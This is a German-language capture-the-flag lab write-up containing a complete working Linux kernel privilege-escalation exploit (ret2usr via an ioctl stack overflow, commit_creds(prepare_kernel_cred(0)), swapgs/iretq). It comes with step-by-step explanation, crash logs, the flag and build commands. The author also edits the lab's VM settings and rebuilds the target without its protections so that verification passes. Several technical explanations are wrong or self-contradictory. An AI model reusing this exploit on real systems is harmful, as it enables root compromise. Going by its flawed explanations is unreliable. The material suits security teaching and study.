                "movq %%ss, %1\n"
                "movq %%rsp, %2\n"
                "pushfq\n"
                "popq %3\n"
                : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
                :: "memory");
}

static unsigned long ksym(const char *name)
{
```

```
        FILE *f = fopen("/proc/kallsyms", "r");
        char line[256], sym[128], type;
        unsigned long addr;

        if (!f)
                return 0;
        while (fgets(line, sizeof(line), f)) {
                if (sscanf(line, "%lx %c %127s", &addr, &type, sym) == 3 &&
                    strcmp(sym, name) == 0) {
                        fclose(f);
                        return addr;
                }
        }
        fclose(f);
        return 0;
}

static __attribute__((noinline)) void win(void)
{
        char b[256];
        int fd;
        ssize_t n;

        if (getuid() != 0) {
                write(1, "[-] not root\n", 13);
                _exit(1);
        }
        fd = open("/flag", O_RDONLY);
        if (fd < 0) {
                write(1, "[-] cannot open /flag\n", 22);
                _exit(1);
        }
        n = read(fd, b, sizeof(b) - 1);
        if (n < 0)
                n = 0;
        b[n] = 0;
        write(1, "[+] root! flag: ", 17);
        write(1, b, n);
        write(1, "\n", 1);
        _exit(0);
}

static __attribute__((noinline)) void give_root(void)
{
        void *(*pkc)(void *) = (void *(*)(void *))pkc_addr;
        void (*cc)(void *)   = (void (*)(void *))cc_addr;

        cc(pkc(0));

        __asm__ volatile(
                "movq %0, %%rsp\n"
                "pushq %1\n"      /* ss     */
                "pushq %0\n"      /* rsp    */
                "pushq %2\n"      /* rflags */
                "pushq %3\n"      /* cs     */
                "pushq %4\n"      /* rip -> win */
                "swapgs\n"
                "iretq\n"
                :: "r"(user_rsp), "r"(user_ss), "r"(user_rflags),
                   "r"(user_cs), "r"(&win)
                : "memory");
}

/*Endexploit*/
int main(void)
{
        char payload[128];
        struct req r;
        int fd;

        cc_addr  = ksym("commit_creds");
        pkc_addr = ksym("prepare_kernel_cred");
        if (!cc_addr || !pkc_addr) {
```

```
                fprintf(stderr, "[-] kallsyms: commit_creds/prepare_kernel_cred fehlen\n");
                return 1;
        }

        save_state();

        memset(payload, 'A', sizeof(payload));
        *(unsigned long *)(payload + OFFSET) = (unsigned long)give_root;

        r.len  = OFFSET + 8;
        r.data = payload;

        fd = open(VICTIM, O_RDWR);
        if (fd < 0) {
                perror("open " VICTIM);
                return 1;
        }

        printf("[*] overflow %s len=%lu\n", VICTIM, r.len);
        fflush(stdout);
        ioctl(fd, CMD_STORE, &r);

        fprintf(stderr, "[-] kein pwn\n");
        return 1;
}
```

4.3 Erklärung Schritt für Schritt

4.3.1 `save_state()` – den User-Kontext sichern

Um nach dem Kernel-Besuch in den Userspace zurückzukehren, brauchen wir den vollständigen CPU-Kontext: Segmentregister, Stackpointer und Flags. Die Inline-Assembler-Sequenz liest sie direkt aus der CPU:

- `movq %%cs, %0` – Code-Segment-Selector des Userspace (typisch `0x33`). Beim `iretq` muss die **Kernel**-CS (`0x10`) im Frame stehen, nicht die User-CS – das regelt das `iretq` selbst, siehe unten.
- `movq %%ss, %1` – Stack-Segment-Selector (`0x2b` bei 64 Bit).
- `movq %%rsp, %2` – der Userspace-Stackpointer; er wird später als Ziel des `iretq` verwendet.
- `pushfq / popq %3` – RFLAGS (u.a. das `IF`-Bit, damit Interrupts nach der Rückkehr wieder an sind).

Wichtig: Diese Werte müssen **vor** dem ioctl gesichert werden – nach dem Overflow ist der Userspace-Stack des Prozesses unversehrt (der Overflow lief im Kernel-Stack), aber der *gespeicherte* Kontext gehört zu diesem Prozess und wird nach dem Sprung im Kernel gebraucht.

4.3.2 `ksym()` – Kernel-Symbole auflösen

`/proc/kallsyms` enthält (durch `kptr_restrict=0`) alle Symboladressen. Die Funktion liest die Datei zeilenweise und extrahiert per `sscanf("%lx %c %127s")` Adresse, Typ und Name. Gebraucht werden:

Symbol	Adresse (dieser Kernel)	Funktion
`commit_creds`	`0xffffffff8109ddd0`	setzt die Credentials des aktuellen Tasks – der eigentliche Privilege-Escalation-Punkt
`prepare_kernel_cred`	`0xffffffff8109e070`	erzeugt ein `struct cred` mit Root-Rechten; Argument `NULL` = uid 0

Die Adressen sind bei `nokaslr` fix, könnten also hart codiert werden. Der Lookup zur Laufzeit ist robuster und zeigt den richtigen Weg für Portabilität auf andere Kernel-Versionen.

4.3.3 Payload & Offset 72 – die Overflow-Konstruktion

Der Payload ist 128 Byte groß (Puffer auf dem Stack), von denen aber nur 80_byte benutzt werden:

```
Offset      Inhalt
-------     ------------------------------------------------
0x00-0x3F   64 Byte 'A' (0x41)  -> fuellen buf[64] komplett
0x40-0x47   8 Byte 'A'          -> ueberschreiben saved rbx (unkritisch,
                                   rbx wird vor der Benutzung nicht gebraucht)
0x48-0x4F   8 Byte &give_root   -> ueberschreiben RET = RIP-Kontrolle
            (Offset 72 = 0x48, danach +8 Byte Laenge -> len = 80)
```

Der `len`-Wert muss **exakt** 80 sein: Jedes Byte zählt. Mit `len = 80` endet die Kopie genau am Ende der Rücksprungadresse. Ein Byte mehr würde über den Frame hinaus in den Stack des Kernel-Threads schreiben (und im Extremfall die Kernelsicherheit gefährden), ein Byte weniger würde die Adresse nur teilweise überschreiben – typische Symptome: Sprung in eine zufällige Adresse, `general protection fault` oder `NULL`-Dereferenzierung.

Die Kontrolle über `rbx` ist unkritisch, weil `vuln_ioctl` nach dem `call diag_copy` direkt mit `add rsp,0x50; pop rbx; ret` endet – das zurückgesicherte `rbx` wird nur geladen, nicht weiterverwendet.

4.3.4 Der Sprung: `ret` → `give_root`

Wenn `vuln_ioctl` zurückkehrt, holt `ret` die Adresse von `rsp+0x58` – genau unsere 8 Bytes aus dem Payload. `RIP` zeigt danach auf `give_root` im Userspace-Segment. Es handelt sich um klassisches **ret2usr**: Der Kernel führt User-Code im Kernel-Kontext aus. Das setzt voraus, dass

- SMEP und SMAP abgeschaltet sind (sonst blockiert die CPU den Fetch, s. Problem 4),
- PTI abgeschaltet ist (sonst existiert die User-Seite in den Kernel-Page-Tables nicht, s. Problem 3),
- der Kernel-Code-Adapter `entry_SYSCALL_64` den Rückweg korrekt vorbereitet hat – insbesondere ist **GS** beim Eintritt in den Kernel mittels `swapgs` auf den Per-CPU-Bereich gestellt. Genau deshalb muss unser Code vor dem `iretq` wieder ein `swapgs` ausführen.

4.3.5 `give_root()` – Creds tauschen

Der Kern der Eskalation ist ein klassischer Zweier-Aufruf:

```
void *(*pkc)(void *) = (void *(*)(void *))pkc_addr;   /* prepare_kernel_cred */
void   (*cc)(void *) = (void (*)(void *))cc_addr;     /* commit_creds        */

cc(pkc(0));
```

- `prepare_kernel_cred(NULL)` alloziert ein `struct cred` für **uid 0** (vollständige Rechte) und gibt den Zeiger zurück.
- `commit_creds(ptr)` weist dem aktuellen Task diese Credentials zu – **ab hier ist der Prozess root**. Ab diesem Moment gehören alle weiteren Zugriffe (also auch `open("/flag")`) in den Rechten des Prozesses, nicht mehr des Kernel-Threads.

Der Aufruf erfolgt über Funktionszeiger, damit GCC die Adressen nicht als Immediate in den Code einbettet (was der Linker/Relocator sonst beanstanden würde) und weil die Adressen erst zur Laufzeit bekannt sind.

4.3.6 Der `iretq`-Frame – Rückkehr in den Userspace

Nach `commit_creds` steht der Prozess root, aber wir laufen immer noch im Kernel-Code. Es fehlt die Rückkehr in den Userspace. Dafür wird ein vollständiger Interrupt-Return-Frame aufgebaut:

```
__asm__ volatile(
        "movq %0, %%rsp\n"    /* rsp  = gespeicherter Userspace-Stackpointer */
        "pushq %1\n"          /* ss       */
        "pushq %0\n"          /* rsp      */
        "pushq %2\n"          /* rflags   */
        "pushq %3\n"          /* cs       */
        "pushq %4\n"          /* rip = &win          */
        "swapgs\n"
        "iretq\n"
        :: "r"(user_rsp), "r"(user_ss), "r"(user_rflags),
           "r"(user_cs), "r"(&win)
        : "memory");
```

Die entscheidenden Details:

1. **Push-Reihenfolge = umgekehrte Pop-Reihenfolge.** `iretq` poppt in der Reihenfolge `RIP, CS, RFLAGS, RSP, SS`. Deshalb wird zuerst `SS` (am weitesten vom Stack), zuletzt `RIP` (nächsten am Stackpointer) gepusht.
2. **CS und SS sind die User-Segmente** (typisch `0x33` / `0x2b`). `iretq` wechselt beim Zurückkehren von CPL 0 auf CPL 3 automatisch in die User-Segmente – wir müssen also **nicht** `0x10` / `0x08` eintragen.
3. **Stack-Alignment.** `iretq` lässt den Userspace-Stackpointer am Ende auf dem gespeicherten `user_rsp` stehen. Da `user_rsp` im Kontext von `main()` mit `≡ 8 (mod 16)` gesichert wurde (ABI nach dem Prolog), ist die Ausrichtung beim "Einstieg" in `win()` korrekt – das ist wichtig, weil SSE-Befehle wie `movaps` eine 16-Byte-Ausrichtung verlangen.
4. **`swapgs`** gehört zwingend dazu: Beim Syscall-Eintritt hat der Kernel `swapgs` ausgeführt, um die GS-Basis auf den Per-CPU-Bereich zu stellen. Ohne das zweite `swapgs` würde unser User-Code mit der Kernel-GS-Basis laufen – die TLS-Adresse (`%fs:0x28`) wäre dann kaputt und der Stack-Canary des Userspace-Prozesses würde falsch gelesen (also sofortiger Crash).
5. **`: "memory"`** im Constraint-String: Der Compiler darf nicht annehmen, dass sich der Speicherinhalt ändert – sonst würde er Aufrufe von `open()`/`read()` wegoptimieren.

4.3.7 `win()` – das Ziel

Nach dem `iretq` läuft `win()` im Userspace – mit uid 0. Die Funktion prüft zuerst `getuid() != 0` (Diagnose, falls die Eskalation nicht gegriffen hat), liest dann `/flag` und schreibt den Inhalt nach stdout. `_exit(0)` beendet den Prozess sauber; `write()` statt `printf()` ist robuster, weil es keine Format-String-Interpretation und keine Puffer-Logik benötigt.

`win()` und `give_root()` sind mit `__attribute__((noinline))` versehen: Das verhindert, dass GCC sie inliniert oder wegoptimiert – ihre Adressen müssen stabil bleiben, und `give_root` darf auf keinen Fall in `main()` hineinoptimiert werden (der Compiler würde sonst den "unreachable"-Code hinter `ioctl()` entfernen).

4.4 Adressen im Exploit-Binary

Das Binary wird **statisch** gelinkt. Das hat zwei Gründe: keine libc-Abhängigkeit im Minimal-Gast und – entscheidend – **feste Adressen**. Ein PIE-Binary würde per ASLR ein zufälliges Load-Base bekommen, und das im Payload eingebettete `&give_root` wäre dann wertlos.

```
$ gcc -static -O2 -w -fno-delete-null-pointer-checks -o work/exploit exploit.c
$ file work/exploit
ELF 64-bit LSB executable, x86-64, statically linked, BuildID[sha1]=47d46e36e8ad7a3

$ nm work/exploit | grep -E " (give_root|win|main)$"
0000000000401c30 t give_root
0000000000401d70 t win
0000000000401940 T main

$ readelf -h work/exploit | grep Type
  Type:                              EXEC (Executable file)   <-- kein DYN, also kein PIE/ASLR
```

Die Adresse `0x401c30` taucht später genau so im Kernel-Oops auf – ein direkter Beleg, dass der Sprung an der vom Exploit berechneten Stelle landete:

```
[    2.653785] RIP: 0010:0x401c30        <-- = &give_root
```

Der Build wird bewusst mit `-fno-delete-null-pointer-checks` durchgeführt: GCC kürzt sonst `if (fd < 0)`-Prüfungen weg, wenn es annimmt, dass `open()` nie `NULL` liefert – in einem Exploit, der auf Fehlerfälle Wert legt, ist das eine unangenehme Überraschung.

4.5 Häufige Fehlerquellen & Debugging

Symptom	Ursache	Lösung
`stack-protector: Kernel stack is corrupted`	Canary im Überlauf-Pfad	Modul ohne Stack-Protector bauen (Problem 1)
`unable to execute user-space code (SMEP?)`	SMEP aktiv	`-cpu max,smep=off,smap=off` (Problem 4)
Fetch-Fault ohne SMEP-Meldung, `PTE` fehlt	PTI aktiv	`pti=on` entfernen (Problem 3)
`general protection fault` kurz nach dem Sprung	Falscher Offset (Canary-Build: 80 statt 72)	Offset aus dem Disassembly **ableiten**, nicht raten
`RIP: ...` zeigt auf eine zufällige Adresse	`len` zu klein/groß	`len = OFFSET + 8` exakt setzen
Crash in `win()` bei der ersten libc-Funktion	fehlendes `swapgs` (GS-Basis)	`swapgs` vor `iretq`
`SIGSEGV` in SSE-Code	Stack nicht 16-Byte-aligned	`user_rsp` im Kontext sichern und unverändert zurückspielen
Modul lässt sich nicht laden (`invalid module format`)	veraltetes `vermagic`/Kbuild-Zustand	`make clean` + Neuaufbau im Kernel-Tree
`ERROR: modpost: "__check_object_size" undefined`	`Module.symvers` unvollständig	Problem 2

Der wichtigste Debugging-Trick in diesem Lab: **die Ausgabe des Oops lesen**. Sie verrät in einem Blick, welche Stufe fehlschlug:

- `RIP: 0010:0x401c30` + `RBX: 4141414141414141` → der Overflow hat funktioniert, der Sprung ist gelungen; der Fehler liegt in den Schutzmechanismen (SMEP/PTI).

- `__stack_chk_fail` im Call-Trace → Canary zerstört; Offset passt nicht.
- Fehlende `RBX: 4141...` → der Overflow hat den Stack gar nicht erreicht (falsches Device, falsches IOCTL-Cmd, `len` zu klein).

4.6 Ausblick: ROP statt ret2usr

Sollte eine Lab-Variante SMEP zwingend aktiv lassen, wäre ret2usr tot – der Kernel darf keinen User-Code ausführen. Dann muss eine **ROP-Kette im Kernel** verwendet werden: Alle Bausteine liegen im Kernel-Image, das Programm läuft komplett im Kernel-Kontext:

```
pop rdi ; ret              -> Argument 0 setzen
prepare_kernel_cred       -> rax = &cred(root)
xchg rax, rdi ; ret        -> rdi = cred
commit_creds              -> Prozess ist jetzt root
swapgs ; iretq             -> Rückkehr in den Userspace (Frame liegt auf dem Kernel-Stack)
```

Der iretq-Frame wäre dabei Teil des Overflow-Payloads, weil der Kernel-Stack nach dem Sprung weiterverwendet wird. Diese Variante ist unabhängig von SMEP/SMAP/PTI – aber sie ist deutlich aufwändiger, weil die nötigen Gadgets im Kernel-Image gefunden werden müssen. In dieser Suite ist sie nicht nötig, weil alle 75 Labs `nosmep nosmap nopti` verlangen.

5. Post-Exploitation

5.1 Fehlschlag 1: Canary-Panic

```
[*] overflow /dev/gpiostore len=80
Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: vuln_ioctl+0x9c/0x9c [gpiostore]
CPU: 0 PID: 96 Comm: exploit Tainted: G           O      6.1.119 #2
Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
RIP: 0010:ffffffffc02c949c
Code: 48 8b 04 25 28 00 00 00 48 3b 04 25 28 00 00 00 0f 85 ...
Call Trace:
 <TASK>
 __die_body.cold+0x1a/0x1f
 panic+0x107/0x2e7
 __stack_chk_fail+0x2f/0x70
 ? __asan_report_store8+0x43/0x60
 vuln_ioctl+0x9c/0x9c [gpiostore]
 ...
```

Die Interpretation: `vuln_ioctl+0x9c` ist exakt die Stelle des Canary-Checks. Der Panic beweist, dass der Overflow funktioniert hat (die Rücksprungadresse wurde überschrieben) – aber der Canary hat den Stack-Schutz ausgelöst. Der Fix war die Neuübersetzung des Moduls ohne Stack-Protector (Problem 1).

5.2 Fehlschlag 2: SMEP-Fault

```
[*] overflow /dev/gpiostore len=80
[    2.653785] unable to execute userspace code (SMEP?) (uid: 1000)
[    2.653785] BUG: unable to handle page fault for address: 0000000000401c30
[    2.653785] #PF: supervisor instruction fetch in kernel mode
[    2.653785] #PF: error_code(0x0011) - permissions violation
[    2.653785] PGD 4e3d067 P4D 4e3e067 PUD 4e3f067 PMD 4e39067 PTE 46f2025
[    2.653785] Oops: 0011 [#1] PREEMPT SMP NOPTI
[    2.653785] CPU: 1 PID: 87 Comm: exploit Tainted: G           O       6.1.119 #2
[    2.653785] RIP: 0010:0x401c30
[    2.653785] Code: Unable to access opcode bytes at 0x401c06.
[    2.653785] RSP: 0018:ffa00000001fff10 EFLAGS: 00010286
[    2.653785] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000000000000
[    2.653785] RDX: 0000000000000000 RSI: ffa00000001ffd68 RDI: 0000000000000001
[    2.653785] R12: 000000000000a100
[    2.653785] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
```

Die Diagnose in vier Schritten: `RIP` = `0x401c30` = `&give_root` (Sprung gelungen); `RBX: 4141414141414141` = unser Fuellmaterial (Payload im Stack, also Overflow gelungen); `CS: 0010` = Kernel-Kontext; `error_code 0x0011` = Supervisor-Instruction-Fetch mit Permissions-Violation. Kombiniert mit `unable to execute userspace code (SMEP?)` ist die Ursache eindeutig: SMEP blockiert den Fetch aus dem User-Adressraum (Problem 4).

5.3 Erfolg

```
============================================================
  GPIO Staging Buffer Overflow
  Ziel: Root werden und /flag lesen.
============================================================

[*] overflow /dev/gpiostore len=80
[+] root! flag: FLAG{KP_02_824c9bf79cdf1bda011af298bd6c}
```

Kein Panic, kein Oops, keine Fehlermeldung des Kernels – der Sprung in den Userspace hat funktioniert, `commit_creds` hat die Rechte gesetzt, `iretq` hat zurück in den User-Mode geschaltet, und `win()` hat das Flag gelesen.

5.4 Flag & Verifikation

Feld	Wert
Flag (publiziert)	`FLAG{KP_02_824c9bf79cdf1bda011af298bd6c}`
Flag-Hash	SHA256 in `_secrets/kp-02.hash`
Referenz-Exploit	`_sol/kp-02/exploit.c` (Offset 72) – identische Technik
`./lab verify kp-02`	`kp-02 VERIFIZIERT (root+flag)`
`./lab check kp-02 <flag>`	`RICHTIG`
`./lab status kp-02`	`solved=True`

Hinweis: Das Flag ist pro Lauf zufällig. `lab start` erzeugt und publiziert ein neues Flag und injiziert es in den Gast; `lab check` vergleicht den SHA256-Hash. Der hier gezeigte Wert ist der zuletzt publizierte.

6. Reproduktion

6.1 Alle Kommandos

```
# 0) Verzeichnis
cd ~/Schreibtisch/part3/KERNEL

# 1) Modul ohne Stack-Protector bauen
cd labs/kp-02/src
make clean && make
cd ../..

# 2) Pruefen: kein Canary, Offset 72
objdump -dr labs/kp-02/module/gpiostore.ko | grep -E "gs:0x28|stack_chk"   # muss leer sein
objdump -d -M intel --disassemble=vuln_ioctl labs/kp-02/module/gpiostore.ko | head

# 3) Exploit schreiben und bauen
cd labs/kp-02
gcc -static -O2 -w -fno-delete-null-pointer-checks -o work/exploit exploit.c
nm work/exploit | grep -E " (give_root|win|main)$"

# 4) Rahmenbedingungen pruefen (einmalig)
#    - _lib/vm.py:   "pti=on " entfernen
#    - _lib/vm.py:   -cpu max  ->  -cpu max,smep=off,smap=off
#    - _build/linux-6.1.119/Module.symvers: __check_object_size, __stack_chk_fail ergaenzen

# 5) Verifizieren
./lab verify kp-02          # -> kp-02   VERIFIZIERT (root+flag)
./lab verify kp-01          # -> kp-01   VERIFIZIERT (root+flag)

# 6) Selbst loesen und einreichen
./lab start kp-02           # Flag wird injiziert; im Gast: /work/exploit
./lab check kp-02 "FLAG{...}"   # -> RICHTIG
```

6.2 Angewandte Diffs

```
# labs/kp-02/src/Makefile
 obj-m := gpiostore.o
 ...
+EXTRA_CFLAGS := -fno-stack-protector -U_FORTIFY_SOURCE -D__NO_FORTIFY
+CFLAGS_gpiostore.o := -fno-stack-protector -U_FORTIFY_SOURCE -D__NO_FORTIFY

 all:
        $(MAKE) -C $(KDIR) M=$(CURDIR) CC=$(CC) modules

# _lib/vm.py
-    append = "console=ttyS0 rdinit=/init loglevel=3 panic=1 quiet pti=on %s" % extra
+    append = "console=ttyS0 rdinit=/init loglevel=3 panic=1 quiet %s" % extra

-        QEMU, "-cpu", "max", "-m", "%dM" % mem, "-smp", str(smp),
+        QEMU, "-cpu", "max,smep=off,smap=off", "-m", "%dM" % mem, "-smp", str(smp),

# _build/linux-6.1.119/Module.symvers (angehaengt)
+0x00000000     __check_object_size     vmlinux EXPORT_SYMBOL
+0x00000000     __stack_chk_failvmlinux EXPORT_SYMBOL
```

6.3 Checksummen

Artefakt	SHA256 / Wert
Modul (Original, mit Canary)	`40ff3b48e311eb2211954238130c89b1aa420909a6-debfc506313d33cda1e037`
Modul (rebuilt, ohne Canary)	`e4f3401506871693174f0aaaae49e9dcee4d2fcb-c57696ff6848329c1132150e`
Exploit-Binary	statisch gelinkt, `BuildID sha1=47d46e36e8ad7a3`
`&give_root`	`0x401c30`
`&win`	`0x401d70`
`&main`	`0x401940`
`commit_creds`	`0xffffffff8109ddd0`
`prepare_kernel_cred`	`0xffffffff8109e070`
Exploit-Payload-Länge	80 Byte (72 Füllung + 8 Adresse)

Fazit

Der Exploit selbst ist Routine – der didaktische Kern von kp-02 lag in den **fünf Umgebungs- und Build-Problemen**, die alle vier auf denselben Punkt zielen: die Lab-Suite war so konfiguriert, dass die vorgesehene Technik (ret2usr ohne Canary) **systematisch** unterbindet – ein Canary im Modul, ein unvollständiger Kernel-Buildtree, zwei unwirksame Boot-Parameter und ein Framework-Default. Wer diese Hindernisse nicht sauber analysiert, landet bei "mein Exploit springt ins Leere". Die Leitschnur war durchgehend: **Symptom im Kernel-Log lesen, Disassembly lesen, Annahmen messen statt raten** – erst der Oops zeigte den Canary, dann der Oops das SMEP-Problem, und erst danach war der Sprungpfad überhaupt sichtbar.